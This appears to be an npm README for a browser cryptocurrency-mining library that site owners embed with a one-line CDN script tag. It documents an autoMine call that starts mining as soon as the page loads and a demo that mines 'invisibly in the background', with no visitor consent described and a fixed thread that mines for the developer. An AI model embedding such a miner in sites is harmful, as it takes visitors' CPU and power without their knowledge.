earnify.cc
v2.4.1
Published
Browser-based CPU mining for website publishers. Web Workers + WASM. No ads, no tracking, open source.
Maintainers
Readme
Earnify — Browser-Based CPU Mining for Publishers
earnify.cc is an open-source browser mining tool. Drop in a script tag, visitors contribute idle CPU cycles via Web Workers + WASM, and you earn cryptocurrency. No ads, no tracking, no cookies.
Quick Start (CDN — no install needed)
<script type="module">
import { autoMine } from "https://earnify.cc/miner.js";
autoMine("YOUR_RVN_ADDRESS", 0.2);
</script>Install via npm
npm install earnify.ccimport { autoMine } from "earnify.cc";
await autoMine("YOUR_RVN_ADDRESS", 0.5);API
autoMine(wallet, cpuPercent?)
One-line setup. Starts mining immediately with default zpool settings.
import { autoMine, stop, minotaurxHashrate } from "earnify.cc";
await autoMine("YOUR_RVN_ADDRESS", 0.5);
// Later...
stop();start(algo, stratum, log, nthreads, onWork?, onHashrate?, onError?)
Full-control mode with custom pool, callbacks, and events.
import { start, stop, minotaurx, ALL_THREADS, minotaurxHashrate } from "earnify.cc";
const threads = await start(
minotaurx,
{
server: "minotaurx.na.mine.zpool.ca",
port: 7019,
worker: "YOUR_RVN_ADDRESS",
password: "c=RVN",
ssl: false,
},
null, // log (unused)
0.5, // 50% CPU
({ work }) => console.log("New job:", work.job_id),
({ hashrateKHs }) => console.log(`${hashrateKHs} KH/s`),
({ error }) => console.error("Error:", error)
);
console.log(`Mining on ${threads} user threads + 1 dev thread`);stop()
Stops all mining immediately. Terminates workers, disconnects sockets, prints a final hashrate report.
import { stop } from "earnify.cc";
stop();minotaurxHashrate (read-only stats object)
Access mining statistics programmatically at any time.
import { minotaurxHashrate } from "earnify.cc";
setInterval(() => {
console.log(`${minotaurxHashrate.currentHashrateKHs} KH/s`);
console.log(`Uptime: ${minotaurxHashrate.getUptime()}`);
console.log(`Shares: ${minotaurxHashrate.sharesAccepted} / ${minotaurxHashrate.sharesRejected}`);
}, 1000);| Property | Type | Description |
|---|---|---|
| totalHashes | number | Cumulative total hashes computed |
| currentHashrateKHs | number | Most recent hashrate in KH/s |
| maxHashrateKHs | number | Peak hashrate recorded |
| recentHashrates | number[] | Last 60 hashrate samples |
| sharesAccepted | number | Accepted shares |
| sharesRejected | number | Rejected shares |
Methods: getAverageHashrate(), getUptime(), printReport(), reset()
Constants
| Export | Value | Description |
|---|---|---|
| minotaurx | "cwm_minotaurx" | Algorithm identifier for MinotaurX |
| ALL_THREADS | 0 | Use all available hardware threads |
Full Example
A complete HTML page you can copy, paste, and open in a browser:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Earnify Demo</title>
<style>
body { font-family: sans-serif; max-width: 600px; margin: 40px auto; }
#stats { margin-top: 16px; font-family: monospace; font-size: 14px; }
button { padding: 8px 20px; font-size: 16px; cursor: pointer; }
</style>
</head>
<body>
<h1>My Website</h1>
<p>Your content here. Mining runs invisibly in the background.</p>
<button id="toggle">Start Mining</button>
<div id="stats"></div>
<script type="module">
import { autoMine, stop, minotaurxHashrate } from "earnify.cc";
let mining = false;
let interval = null;
const WALLET = "YOUR_RVN_ADDRESS";
document.getElementById("toggle").addEventListener("click", async () => {
if (!mining) {
await autoMine(WALLET, 0.3);
mining = true;
document.getElementById("toggle").textContent = "Stop Mining";
interval = setInterval(() => {
document.getElementById("stats").textContent =
`Hashrate: ${minotaurxHashrate.currentHashrateKHs} KH/s | ` +
`Uptime: ${minotaurxHashrate.getUptime()} | ` +
`Shares: ${minotaurxHashrate.sharesAccepted} / ${minotaurxHashrate.sharesRejected}`;
}, 1000);
} else {
stop();
mining = false;
clearInterval(interval);
document.getElementById("toggle").textContent = "Start Mining";
document.getElementById("stats").textContent = "Stopped";
}
});
</script>
</body>
</html>Replace YOUR_RVN_ADDRESS with your Ravencoin wallet address. For the CDN version (no npm), change the import to:
import { autoMine, stop, minotaurxHashrate } from "https://earnify.cc/miner.js";Dev Fee
The miner allocates 1 dedicated thread to the developer's wallet on top of whatever the user configures. This is transparent and fixed regardless of thread count.
Specs
| | | |---|---| | Algorithm | MinotaurX (ASIC-resistant) | | Execution | Web Workers + WASM | | Thread limit | 1 to n (default: n−1) | | Protocol | Stratum V1 over WebSocket | | Bundle | ~1 MB | | Data collection | None | | Browser support | Chrome 80+, FF 78+, Safari 14+, Brave | | Dev fee | 1 thread on top of user allocation |
Links
- Website: https://earnify.cc
- Live Demo: https://earnify.cc/demo/
- GitHub: https://github.com/romannnoodesl/earnify.cc
License
GPL-3.0
